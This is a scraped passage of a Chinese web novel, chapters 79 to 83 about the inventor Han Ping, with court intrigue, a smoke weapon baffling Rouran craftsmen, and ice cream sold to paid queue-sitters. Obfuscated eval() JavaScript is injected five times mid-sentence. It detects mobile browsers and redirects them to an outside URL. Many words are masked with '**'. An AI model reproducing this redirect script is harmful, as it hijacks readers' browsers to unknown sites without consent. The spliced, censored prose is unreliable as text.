35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535362|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “吃好穿好才是真正的济世安民之道，安贫乐道是为邪道。” “到明天，你们便去购买一些华服，所有人都必须穿华服，越华丽越好。” 在这里生活得越久，韩平就发现，大越王朝已经是病入膏肓，里里外外，都烂透了。 要想稳定，必须从根子上开始改，不然，连续动荡暴-乱下来，灭亡就在眼前。 “好的。” “听相公的。” “还有这种道理？” 韩平说的话，谁也无法反驳，他们都是又觉得新奇，又觉得了不起。 连小雪瑶也崇拜地看着韩平，心想，这个姐夫真是什么都好，就一点，喜欢打女人。 家里安排好，韩平也把自己的想法，宣告于工坊门口，告诉大家，什么才是道德高尚。 意思很简单，就是鼓励消费。 “嗯？韩先生说得有道理啊，我们花钱买面，农户的粮食才能卖出去。” “如果都不买粮食，都去啃树皮，农户怎么赚钱？” “哈哈哈……看吧，有钱就应该吃吃喝喝，韩先生的想法和我一模一样。” “我不管，反正韩先生说花钱好，我就花。” …… 当然，韩平并不是让长工把钱都花光，而是一种引导。 只因这个时代，有太多的守财奴，他们有钱，但他们不花钱。 最后这些钱，大部分都陪葬了。 这是很可怕的，他们搜刮金子，银子，然后陪葬，市场上流通的钱越来越少，就是风调雨顺的年月，一样饿**。 因为这些人不光存钱，他们还存粮，就算粮食腐坏了，他们也不会拿出来分给穷人。 同样的告示张贴到了琴川的工坊，顿时也是引来议论纷纷。 知州陈文灿看了，琢磨了许久，叹息不已：“厉害！厉害！这么简单的道理，我以前怎么没想到？ 不但我没想到，连圣人都没想到。 依我看，所有的圣人加在一块，都顶不上韩先生一根**。” 一旁的张素臣吓得肝颤，大家都是读圣人的书，考上的进士，能说这种话吗？ 大逆不道啊！ 他是发现了，陈文灿对韩平，不是崇拜，而是狂热崇拜，都有点极端了。 这种话传出去，必然引起滔天风浪，他都想离陈文灿远点，免得被他害死。 第79章 给韩平选的女人 第七十九章给韩平选的女人 薛玉婵，出生于官宦人家，家道中落，容貌绝佳，知书达礼，入米府为丫鬟，一向服侍老太太跟前。 为了得到她，米天宠多次索要，因为薛玉婵太过柔媚，米老太担心大孙子沉溺女色，所以迟迟没有答应。 “若兰，天宠中意玉婵许久了，要不换个人吧。” 大孙子脸都气红了，米老太看着心疼，米若兰可不管这哪的，米天宠越想要，说明薛玉婵的美色越是能够让男人喜欢。 韩平也是男人！ 光是这个原因，便足够了。 “母亲，万万不可！” “现在谢家已是命悬一线，必要竭尽全力才行，不然，心则不诚。” 真的是被打击到了，米若兰已经有点神神道道。 米老太左右为难，她当然知道谢家身在危机，可她不认为就差个女子，便看向了薛玉婵： “玉婵，你是什么想法？是想跟着那个名动嘉陵的韩平，还是给天宠做妾？你的身份，当正妻是不可能的，这点你要明白。” 米家的长子长孙，肯定是要联姻的，薛玉婵只有美貌，属于是先天不足。 几乎是不假思索，薛玉婵往前站了一步：“老祖宗，我自然是想跟着大少爷，为奴为婢，也甘愿。” 在偌大的米府，米天宠是最照顾她的，让她在枯燥和忙碌之中，品尝到了被人关心的快乐。 那韩平有多大名声，和她没有半点关系，她只想过好自己的小日子。 “奶奶，咱家诗书传家，对下宽容，玉婵和我情投意合，总不能拆开了我们。” 见薛玉婵在众人面前表明心意，米天宠心头激动，最近有一首诗很火，问世间情是何物，直教人生死相许。 此时此刻，他真的觉得，便是为薛玉婵**，也是值得。 “咳咳咳……若兰，你也年轻过，当知道这种感情多么珍贵，不如……” “我不答应！” 米若兰就好像钢铁一样坚硬，目光变得无情冷漠，“母亲，当年我也有中意之人，可你说，家族为大。为了家族，我嫁到了伯爵府。 这些年，为米家行了多少方便，放眼嘉陵，只有米家能做布匹生意。 现而今谢家危殆，说什么情投意合？ 是他们情投意合重要，还是谢家满门的生死重要？ 我夫君周旋于京城，要面对多少明刀暗剑？ 我儿朝乘厮杀于边关，生死不顾，满身伤痕。 他们是为谁啊？ 没有他们在朝堂站稳脚跟，区区一个米家，早已是冢中枯骨。 你们以为米家做生意很厉害吗？ 没有谢家镇住那些豺狼虎豹，米家在嘉陵，一天都待不下去。 我一定要带这个丫鬟走，还有一个原因，那韩平不喜欢太过丰饶的，薛玉婵的体格，和韩平妻子有几分相像。 哪怕能增加万分之一的可能性，我都做完全的努力。” 这一次，米若兰确定了，自己选择了唯一正确的路，她不会半点退让，咆哮完老母亲，她冷冷地看向外甥米天宠： “天宠，你在安逸里长大，现在也该尝尝人间的痛苦了。这个世界上的好东西，数不胜数，是给有能力的人准备的。你，不配！” 米家第三代精英，继承人米天宠，被这么打击，践踏，自己喜欢的女人也要被夺走，他握着拳头，上去几步，拉住了薛玉婵： “姑姑，我今天还就不放她走了，你能怎样？” 他真的恼了。 这里是米家，米若兰上来就要几十万两银子，还把米家说得一文不值。 米天宠有了强烈的绝望愤怒，他现在只是第三代的继承人，就算当了一家之主，又如何？ 还不是被姑姑看不起？ “呵呵……你可以试试。” “我谢家再怎么沦落，灭米家，和踩死一只蚂蚁，没有分别。” 说完，米若兰拍了拍手，足足好几十个带刀护卫冲了进来。 伯爵是可以养私兵的，若不是在打仗，伯爵府周边应该有几千人的军队。 为啥知州府不敢招惹，根源在这。 真闹起来，伯爵府可以把知州府给灭得干干净净。 “姑姑！米家也是你家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535364|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你疯了吗？” 看着带甲护卫，米天宠当然知道打不过。 大越律法明文规定，带兵器是不犯法的，就是在大街上走也没事。 但是，普通人拥有盔甲，属于死罪。 只因为盔甲太过可怕，一个穿着盔甲的人，面对不穿盔甲的，基本是乱杀的状态，十个八个也不是对手。 古往今来，准备**的人，第一件事便是打造盔甲，兵器反而没那么重要。 “我家？” “如果是我家，就应该听我的。” “我不怕把话撂在这，敢不遂我意，看我能不能杀光了你们！” 连续受气，米若兰的精神状态，那是极度的不稳，任性暴躁，一意孤行。 她现在就是要讨好韩平，拿出十成十的诚意，少个芝麻粒都不行。 米老太急忙命令：“来人，把天宠带走。” 然后好言好语安抚米若兰：“若兰，不用生那么大的气，你要钱，我们给，你要人，带走就是。” 米天宠被拉走，薛玉婵清泪涟涟：“大少爷，救我……” 听到自己喜欢的女人，这般可怜，米天宠承诺：“玉婵，我会救你的，我一定会救你的。决不会让你落入韩平的魔爪。” 都什么时候了，还在这表演亲亲我我，米若兰冷冷地盯着薛玉婵：“在这儿便罢了，你敢让韩平知道，你心里有其他男人。 嘿嘿嘿……我先杀你全家，再把你卖到三等ji-院。 真是可笑。 国家大事当前，你们的儿女情长什么也不是。” 面对残暴如斯的米若兰，薛玉婵极力忍着，哭也不敢了。 等米邦盛把几十万两的银票拿过来，米若兰带上，转身就走，连个谢字都不带说的。 她就是要让米家人明白，米家的钱都是伯爵府的，需要用就得拿出来。 回到伯爵府，她找了专门的礼仪嬷嬷，教导十名绝色女子礼节，根据每个人不同的身材，制作不同的薄纱。 等到礼仪周全，姿态娴雅，穿上透明的薄纱，姹紫嫣-红地站在韩平面前，就不信韩平会不动心。 第80章 柔然急了 第八十章柔然急了 “谷蠡王，老朽不愿与小儿为伍。” “南蛮子有什么好东西，交给老朽，保证给您做出更好的。” “赶紧把这个黄口小儿打出去吧。” 渔阳城外五里，柔然中军营帐，大匠——钵室韦海里，吹胡子瞪眼睛，万分地不满，手里拿着一杆黑黝黝的狼头拐杖，砸在地上，咚咚响。 他的对面，是一个白面无须的青年男子，手里拿着一副纸扇，扇子上画着叶子格，所谓叶子格，是一种细长条的纸牌。 不管是大越还是柔然，都有人迷恋于斗叶子。 “老贼休得猖狂！” “谷蠡王传召我来，自然有我的用处，要你放屁舔风？” 柔然人比较爽直，耶律薄欲不惯着，张口就骂。 显然他并不经常骂人，一骂人，脸上涌起一片红。 他知道钵室韦海里为什么那么针对他。 当今可汗修建上京临漠，广招各地工匠，他的方案超越钵室韦海里，被选中，因此招来嫉恨。 “咳咳咳……” 右谷蠡王郁久通迦急忙咳嗽起来，柔然人的习性，什么都喜欢争，也是因为这样的天性，才会让柔然如此强大。 只是什么事，都要先吵吵，也是很让人头疼的。 “两位，何必逞口舌之快？” “谁能破解南蛮的**，自然便是我柔然第一大匠。” “本王另外还会酬谢白银百两，牛十头，羊五十头。” 为了**的事，郁久通迦是愁坏了。 他亲眼看到，一个**飞过来，然后，一片刺鼻，辛辣的烟雾笼罩，人的眼睛生疼，马则一个劲的喷鼻嘶叫。 就算是重甲骑兵，也只能后撤。 有了这东西，手下最重要的重甲骑兵阵算是废了。 “**？那是什么？兵器？” “用来示警的吧？” “南蛮的技艺早就落后我柔然了，谷蠡王只管把**拿出来，老朽一时三刻，便手搓一个。” “一时三刻太久了吧？我只需半个时辰。” …… 技艺这个东西，太容易断代了。 大越军备松弛，**横行，制造的刀剑，盾牌，都比柔然差多了。 马匹更不用说，要不然也不会如此被动。 是以柔然的工匠，看不起大越的工匠。 “那便好。” “把**送上来。” 郁久通迦一声令下，属下端着个盘子，上面盖着一块红布，钵室韦海里眼珠子转动，上前道： “谷蠡王，既然我两人都在，不妨比试一番，谁先仿造出**，便算谁赢？如何？” 建造上京临漠输了一次，钵室韦海里一直耿耿于怀。 钵室韦可是古老姓氏，也是大族，耶律却是前朝姓氏，输给耶律薄欲，他深以为耻。 “切！谁怕你？” 耶律薄欲也是斗志昂扬，他身后也关联着一整个家族呢。 郁久通迦大喜，他知道，越是这么争夺，效率越高。 等柔然也有了**，不但可以灭了南越，便是面对北边的突厥，也不用低声下气了。 “正好，本王耗费偌大力气，弄到了两枚**。” “两位一人一枚，谁最快的仿制出来，便算胜。” 托盘上的红布拿掉，露出两个圆圆的东西，两人急忙拿起，认认真真地研究了起来。 **的外皮，用的是简陋的铁皮。 尽管这时候的铁杂质比较多，硬度比较低，那也是铁，韩平用铁皮，是想加快**的喷发。 后世的**靠的是发烟剂，韩平的**则依赖于燃烧。 铁皮的存在，会让**发出轻微的爆破声。 “嗯？这便是**吗？” 钵室韦海里和自己的徒弟，围成了一个圈圈，越看越懵逼，好比是粤犬吠雪，蜀犬吠日，那是狗看星星，不明所以。 这和以前仿制的东西完全不一样。 以前是兵器，看着样子便能打造，无非是慢慢改进。 又或者是**，投石机，只要看到，便能照猫画虎，老工匠马上就能知道原理。 现在好嘛，两眼一抹黑。 “谷蠡王，此物怕是南蛮术士所为，术士嘛，都是故弄玄虚的骗子。依我看，此物该是没啥大用。” 耶律薄欲也是搞不懂，既然这样，那就贬低它。 郁久通迦大为不悦：“此物能够破我们柔然的重甲骑兵，你说没大用？是你自己没大用吧。钵室韦，你能仿制否？” 钵室韦海里面带苦涩，对方不行，正是自己的好机会。 只是，自己也是丈二和尚摸不着头脑： “谷蠡王，老朽对此物一无所知，能否演示一二，让老朽见识见识。” 没亲眼看到，实在很难想象，这么个东西，怎么破的重甲骑兵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535365|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁久通迦犹豫了老半天。 他是很不乐意的，这么个好东西，为了抢过来，足足**二十多个柔然士兵，用一个少一个。 但他也明白，靠着一两个，不济事的。 无奈，他带着两人，离开营帐，到了外面的空地，放慢了动作，先是点燃，然后把**扔了出去。 砰！ 先是轻微的爆破声，接着浓重的烟雾腾起，散发着强烈的辛辣味道，周围观看的柔然士兵，都是望而生畏。 在战场之上，一旦中招，等于是眼睛瞎掉了，还怎么打？ 只能任人宰割。 想想都可怕。 钵室韦海里带着强烈的不甘心，亲自走向烟雾，被熏得泪流满面。 耶律薄欲也靠近了用鼻子嗅了嗅。 两人对对眼，都是茫然。 东西他们看到了，怎么用的，也看到了，可怎么仿制，半点头绪也没有。 “谷蠡王，老朽就是个废物，老朽想回家了。” 争功？ 丢人来了差不多。 南越再怎么厉害的东西，他也见过。 什么斗拱，什么九连环，花丝镶嵌，地动仪……以他的老练，都是看一眼便会了。 眼前的这个东西，让他大脑空空，生出强烈的绝望感。 “谷蠡王，此物夺天地之造化，侵日月之玄机，便把柔然工匠全部招来，也决然仿制不出来。我只想知道，这是何人的手笔？” 服了！ 耶律薄欲彻底服气了。 他不但是工匠，早年间还跟着炼丹师学过，他倒是见过丹炉**的情况。 只是，那属于异常，到底为何**，因何**，无法复制。 眼前的东西，厉害在，它非常稳定，每个都长得差不多，说明制造者对此物的内在结构，完全掌握了。 可里面黄黄的东西明明融合在一起，超出了他的理解。 说起来，**真是打在了古人的七寸上，古人擅长物理技艺，但他们对化学，一窍不通。 “隐狼已经调查出来，是一个名叫韩平的术士，此人是近乎妖孽的存在。” “他还制造出了一种名为酒精的东西，涂抹伤口，可以防止腐烂。” “渔阳城受伤之人，大半都活了下来。” “就连那阎罗醉，也是出于此人之手！” “娘的！如此俊才，偏偏不是我柔然之人。” 第81章 制冰 第八十一章制冰 谷蠡王有点气急败坏了。 他和可汗是亲戚，才能捞到这样的好差事，渔阳城毫无疑问是个软柿子，只要耗，便能耗死。 现在倒好，一个**，把他打得晕头转向。 **那么多重甲骑兵，把他心疼的，半夜都睡不着。 “谷蠡王，此言差矣！” “可汗曾经说过，天下有才之士，柔然无不欢迎。” “韩平虽然不是柔然人，却可以是荣誉柔然人。” “南越朝堂倾轧，官吏贪得无厌，我柔然却是政通人和，上下一心。” “谷蠡王若肯高-官厚禄拉拢，韩平自然会弃暗投明。” 别看年轻，耶律薄欲的韧性却强。 他无法仿制**，便想到了拉拢韩平，等拉拢过来，他可以跟着学嘛。 也是他这个心性，在技艺上才超过了钵室韦。 “言之有理！” “我会派人联系韩平，如果他愿意归顺我柔然，那是再好没有。” “金银倒不是问题，至于高-官，还需要禀告可汗，才好许诺。” “怕就怕韩平是个死心眼，那就麻烦了。” 谷蠡王知道，南越有很多文人，讲究一个风骨，也就是宁死不屈，别看孱弱，比一般莽汉更加硬气。 韩平若是这种人，便麻烦了。 “谷蠡王，从渔阳城的动静看，谢朝乘手里没有多少**了。” “不如强攻吧？” “等打下渔阳城，夺取了阳关，推平东都，到时**便起不到多大作用了。” 千夫长木骨图伦站了出来，多次交战，他看出来了，**对于**的军阵，格外有效。 如果集群攻城，一个**扔下来，上百士兵便失去了攻击力。 可对于移动目标，**的作用，便微乎其微了。 **扔过来，骑兵完全可以躲开，拉开距离，用弓箭射击。 “有理！” “咱们要两手抓，两手都要硬。” “传我军令，全军分成五队，把渔阳城围城铁桶，昼夜攻城。” “一只蚊子也不准放进来！” 能统帅一方大军，郁久通迦绝对不是酒囊饭袋。 兵贵神速，就算南越有了好玩意，来不及用，也是白搭。 五万大军开动，黑压压的，蚁附到渔阳城。 城头上的谢朝乘眉心直跳，他和郁久通迦对峙已久，立刻明白过来了，对方是忌惮**，所以选择强攻。 “兄弟们，给老子守住！” “**就在路上，等**一到，柔然大军不过是我们桌子上一盘菜。” 坐困愁城，没有希望，大家一天也坚持不下去。 但只要有希望，便可以困兽犹斗，等待转机。 尽管他知道，在柔然大军的重重包围之下，就算**送过来了，也根本运不到城里，白搭。 “对，**的厉害，你们可都看到了。” “韩先生是我客卿，他知道我在渔阳城，至少会运来上万枚**。” “到时候，人人有份！” 和谢朝乘不同，谢翼圣的心情是亢-奋的，他做梦都想参加战斗，他这么一嚷嚷，谢朝乘顿时呲牙： “你还好意思说，一千多枚**，九成都被你用了。现在只剩下四十多枚，每一个都是宝贝，捉襟见肘，我都不敢用。” 谢翼圣吐了吐舌头，毫无悔意，依靠**轻松灭柔然大军，那种感觉，太爽了。 特别是用**竖起烟雾屏障，那叫一个奢侈。 仔细一想，什么败家子也没法给他比，只有他才敢在柔然人面前横行无忌，淋漓地烧包。 再看眼前这仗打得，龟缩在城里，靠什么石头，滚木阻击，实在顶不住了，才会扔一枚**。 窝囊啊！ …… 换了一批人，工坊有条不紊，又运行了起来。 很重要一个原因，韩平把工序给分开了，每个长工负责的，只有最简单的一个工序。 比如说红糖变白糖，眼下主要采用两个办法，一个是黄泥水淋法，一个是草木灰浸泡法。 黄泥水淋就分成了好多个步骤。 比如，收集黄土，去除黄土杂质，烘干，加水搅拌，静置之后取上层澄清液…… 还没接触到红糖呢，已经有五六个工序。 负责收集黄土的，每天就这一件事，没有任何难度可言，当然，获得的信息也少得可怜。 他们只知道，只要收集黄土，便有工钱，天底下就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535366|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有遇到过这么好的事，也不会多想。 去除黄土杂质的，每天的工作就一个字——筛。 大筛子，小筛子，把黄土筛得越细越好。 每一道工序都合格，多米诺效应一样，最后的结果，便不会错。 长工和短工，也乐得工作简单。 很多人在进入工坊之前，都会有强烈的焦虑，害怕完不成工作，后来发现，只要是个人，就能完成，才放松下来。 韩平把重点放在了**的制作上，用掉了大量的白糖，这就拖慢了白糖进入市场的时间。 这让韩平有点不太舒服。 斟酌之后，他决定，还是先投入市场，不过，搭配一件超级奢侈品——冰淇淋！ 夏天的冰块，在这个时代，本身就是奢侈品。 甚至，冰块是皇权的象征，曾经一度，和白银等价。 就是说，一两冰块换一两白银。 主要还是获取冰块太过艰难。 要在冬天，从河水中取巨大冰块，保存在地窖之中，如果保存不好，夏天便没有冰块了。 寻常人家谁有那么大，那么深的地窖，能够把冰块从冬天保存到夏天？ 不是皇家，也得是达官贵人，或者巨佬商贾。 其实，制冰极其简单，韩平手里就有现成的材料——硝酸钾！ 原理更是简单的令人发指——硝酸钾溶解于水，会吸走大量的热。 不过韩平现在不是制冰，而是冰淇淋，所以他还需要准备其他的材料，比如牛奶，鸡蛋，香草，以及各种水果，干果。 其中很重要的东西，是奶油。 这玩意听起来挺陌生的，其实就是浓稠度高的奶和糖。 通过鸡蛋增加浓稠度，把牛奶和糖混合，呈现出一种滑腻的糊糊状，便是奶油。 炼汝则是更加浓稠的牛奶和糖。 用鸡蛋就不够了，需要熬制，把鲜牛奶中的水分蒸发掉三分之一，加点糖，便是炼汝。 什么都准备好，便可以制作冰淇淋了。 冰激凌和冰淇淋是不一样的，简单来说，冰激凌是硬的，冰淇淋是软的。 冰淇淋做出来呈现的效果，就像一个人转圈拉屎，拉出来的那个样子，反复堆叠，盘旋，最后屙出一个尖尖，完美！ 第82章 黄牛 第八十二章黄牛 一边把行文上报都察院，冯云程一边微服私访，来到了嘉陵。 因为他觉得，不管是陈文灿还是庄典，袁郛两个，还是在骗自己。 他需要亲自把情况摸清楚，韩平到底有多重要。 刚进了嘉陵他就发现，嗯，嘉陵是有点不太一样。 大街上光是卖肉的，就比别的地方多。 更有很多挑着担子，好像在等待着什么。 往闹市里走走，只见一字长龙，排出二里地去，他靠近，便听到几个人在抱怨。 “李财主真的太抠了，我排了两天，才给三十五文，真不想给他干。” “可以了，刘财主倒是大方，给三十七文，可不管饭啊，哪像李财主，又是管饭，又是送水的，多安逸。” “反正我是满足了，哪朝哪代也没听说过，排队就能拿钱的。” “还不都是韩先生给的福利，我们家可是天天给韩先生上香的。” …… 排队真的太枯燥了，几个人聊来聊去，也那么些内容。 他们羡慕财主们发大财，抱怨抱怨，心里也明白，远程运输，风险极大。 现在到处是土匪，山贼，财主们要么亲自带着家丁上，要么就得雇佣镖局，花销也是格外大。 冯云程听得心惊，排队也能赚钱，真是稀罕。 正要往前面看看，突然有**叫了起来：“老五，快走，君子白糖出来了，更贵，一斤二千文。每人限购两斤。马云腾大财主重金许诺，帮他购买两斤君子白糖，给四十文。” 呼啦啦地，一大群人跑了过去，谁不想多赚几个呢？ 排队赚钱看起来轻松，其实谁心里都不踏实。 毕竟，这玩意听起来就荒唐，今天有，明天也许就没了，能多赚就要多赚点，攒起来度灾荒。 有人走就有人留，都排那么远了，谁愿意放弃？ 可接着，又有了新的消息。 “他爹，咱们去那边排吧，他们不光有白糖，还有个冰淇淋的宝贝，一个五十两银子，只有幸运客户才能买到。马云腾大财主说了，帮他购买到一个冰淇淋，就给五百文。” 五百文？ 灾民们快疯了，对对眼，看谁跑得快吧。 排队可是个力气活，一个人可不行，往往是一家人轮流上岗，日夜不停，又或者几个人结盟，最后赚了钱，大家一起分。 阎罗醉这边的队伍，吭哧少了一大半，剩下的人张望着，犹豫着，非常焦虑。 那可是五百文啊。 一个人省着吃，杂面啊，糙米啊，麸皮啊，糟糠啊，这些最便宜的食物，混着野菜，每天只需要半文钱，便能活着。 五百文，够一个人活一千天，差不多三年。 只要够幸运，三年啥也不用干了，那不是爽歪歪？ 可再盘算吧，现在去已经晚了，别两边够不着，那不是惨了？ 更不要说，不光灾民，连嘉陵城的住户，也加入了进来。 五百文真的太多了，很多人家里还没有五百文的。 “老爷，这算什么啊？” 冯云程身边的护卫看不懂了。 从来卖家都是想方设法，把东西给卖出去，买东西还需要排队，没听说过。 一般这种情况，商家便会涨价，然后买的人自然便少了。 毕竟，一文钱你买，一千文你还买吗？ “非常之人行非常之事。” “走，去看看。” 实话说，冯云程是有点激动的。 他不怕韩平闹得大，就怕韩平闹不大。 他管着一个山南道，灾民无数，需要来个重大利好，才能平稳下去。 都像嘉陵就很好，大家都很忙碌，而不是天天向官府要吃的。 想想也是，排个队三四十文，他们也看不上官府的稀粥。 就算一家三口，只要排到一次，便能生活一个月了，多得劲！ 他跟着人群来到一家店铺前，这店铺就在最繁华的街头，排队的一眼望不到边际。 在阎罗醉那儿排队的，一般两三天能购买到一次，这里更狠，只怕要七八天，说到底，还是那五百文太喜人了。 灾荒年，谁都想碰碰运气。 为了维持秩序，衙役在一边吆喝着，如果有人插队什么的，立刻就是一鞭子下去。 周围看热闹的，更是人山人海，都伸长了脖子，想要弄清楚，冰淇淋到底是个什么宝贝。 其中不乏一些贵公子，他们穿着丝绸的衣服，有下人负责打遮阳伞，手里拿着逍遥扇，反正平日无事，就是要看个稀罕。 他们对韩平，也是充满好感的，因为韩平已经宣布了，要举行斗牛比赛。 喜欢斗牛的，那是同道中人啊？ 据说，后面还有斗鸡走狗，斗蛐蛐，斗叶子，斗象棋，还要运来一批老虎，让老虎和老虎打架，让老虎和人打架。 还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535367|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要在瓦舍里唱大戏，表演魔法什么的。 光听着就带劲。 加上韩平穿着华丽，光是最高级的丝绸衣服，一次性地，韩平购买了几百件。 如此一来，这些纨绔二代便有了说嘴的地方。 别人说他败家子，他可以反问了。 斗牛斗鸡是败家子，韩平也喜欢，韩平也是败家子吗？ 显然不是嘛。 说我穿华服，不务正业，人韩平也穿华服，谁能说韩平不务正业？ 越比他们就发现，韩平是地地道道的自己人啊。 自己人的生意，能不支持吗？ 虽然说，他们连见都没见过韩平。 但，能不崇拜吗？ 韩平又是组织几万人的工坊，又是杀土匪。 “恭喜你！” “你是第一位幸运客户！” “可以购买冰淇淋，请问你要不要购买？” 在店铺的门口，有一个抽奖的盒子，只留一个拳头大的洞，排队购买的人，抽到整数一百，两百这种数字的，就是幸运客户。 拥有购买冰淇淋的权力。 “当然购买！” “是我的，是我的。” 排队的是灾民，真正出钱的，是财主。 这位幸运的财主姓许，嘴都合不上了，他并不知道冰淇淋是个什么东西。 但是，他认准了一件事，从韩平的店里买东西，就没有赔过。 通过倒卖阎罗醉，他已经赚了几十两银子了。 灾荒年，生意人也难过，能这么赚，那可太中了。 “许财主，先给我钱呗。” 排队的灾民更是激动到浑身颤抖，五百文啊，这就到手了。 从今天起，他吴大勇就是有钱人了。 他是逃难到此的，却可以在此地安居，娶妻娶小妾，生一炕娃娃，美气！ “给，给，给……大勇，你是我的福星啊。” “五百文，不，我给你六百文。” “以后继续帮我排队，可不要跳槽啊。” 第一个拿到冰淇淋的人，光是这个名声，就值钱。 许财主兴高采烈，还给了奖赏，更是把吴大勇更乐得，鼻涕泡都冒出来了。 给了排队灾民的钱，许财主又拿出了五十两的银票，交给了店小二。 很快，店小二端来了一个精致的盒子。 一打开，周围惊叫声此起彼伏，惊天动地。 第83章 第一纨绔 第八十三章第一纨绔 盒子里是一个绿莹莹的荷叶瓷盘，上面用冰块堆成了金字塔的模样，冒着寒气，在金字塔的顶端，放着所谓的冰淇淋。 在没有看到之前，大家已经有了很多猜测，但怎么也没想到冰淇淋长这个样子。 冰淇淋到底有多珍贵，谁也说不好，可光看这些冰块，就不得了。 尤其是，冰块透亮，明显是食用级的。 这可太稀罕人了。 要储存冰块，不是挖个冰窖就行的，最重要的，是要有储存技术，这个是非常专业的，稍有不慎，冰块就会融化。 南方很少结冰，偏偏南方又是经济重地，南方的王爷啊，勋贵啊，他们也要冰块，就要从北方运，路上的损耗不用说，非常之大。 今年格外炎热，大部分王爷，已经弄不到冰块了。 眼前倒好，用那么多珍贵至极的冰块，就为了伺候一个小小的冰淇淋，看着就奢侈。 “怪不得那么贵，我天哪！” “我闻到了绝妙的香气，带着凛冽的冷。” “夏日里吃上一个冰淇淋，那是何等的享受啊。” “要说会享受，还得是韩先生，脑子怎么想的，竟然能弄出这么稀罕的东西，我口水都冒出来了。” …… 五十两的食物，真没多少人见过。 很多人跃跃欲试，想要尝尝味道。 “许财主，这东西不错，本少爷出六十两，给我吧。” 立马就有人出价了，有钱人家的少爷，谁也不想当败家子，但是，很多少爷都愿意当纨绔。 纨绔的意思，有点像后世的顽主，一般二般的人，可当不上顽主。 就说纨绔，家里不但要有钱，还要有势，身边有打手，注重的就是一个横行，以及，出风头。 用现代话说便是——有面子！ 固然，很多纨绔子弟是不务正业，混吃等死，同样也有很多纨绔子弟，建立了丰功伟绩。 比如大名鼎鼎的曹操，他年少的时候，和袁绍一起，偷人家的新娘子，属于极其恶劣的那种纨绔。 “六十两就想拔得头筹？我出七十两。” “八十两！秦少爷，你别和我争，我最讨厌别人和我争了。” “龙少爷，在嘉陵，谢朝乘不在，该是我为首吧？我出一百两。” “凭什么是你？我不服。” …… 纨绔之间的争夺，可不仅仅是看钱，得看江湖地位，谁第一，谁第二，人人心里都有谱。 谢朝乘是伯爵府长子，又在边关建立军功，他在，大家都让他三分。 他不在，那就要再论了。 人活什么？ 不就活一个叱咤风云吗？ 纨绔们一争夺，顿时剑拔**张，许财主高兴的，直咂摸嘴。 好家伙，这钱赚的，太容易了，转眼就是几十两。 寻常的小商贩，一年到头也挣不了那么多钱。 “庞大少来了，让开，让开……” 正不可开交，突然人群涌动，只见几十个力士在前，管你是谁，抬起鞭子就打，直接打开一条道路。 后面八个人抬着一顶软轿，上面是淡黄色的罗伞遮挡骄阳，旁边还有一帮子美貌侍女，随时准备用扇子扇风。 放眼整个山南道，庞宪度都是首屈一指的纨绔，他爹是大名鼎鼎的靖远候。 只不过他一向住在江宁，很少来嘉陵，是听说嘉陵在组织斗牛，才过来看看情况，不想赶上了这场热闹。 庞宪度白白胖胖的，养尊处优惯了，他伸伸懒腰，看了看冰淇淋，从身边拿出一百两的金子，扔在地上：“拿上来，我替你们尝尝味。” 其他人鸦雀无声。 靖远候是实权侯爷，现在坐镇上谷关，防守的是党项，他到任之后，六次挫败党项侵扰，劳苦功高。 就算是王爷，也让庞家三分。 北边柔然凶残，如果西边党项再出了问题，大越立马就得嗝屁。 “好嘞！” “还得是庞大少，才能品尝这天下第一份的冰淇淋。” 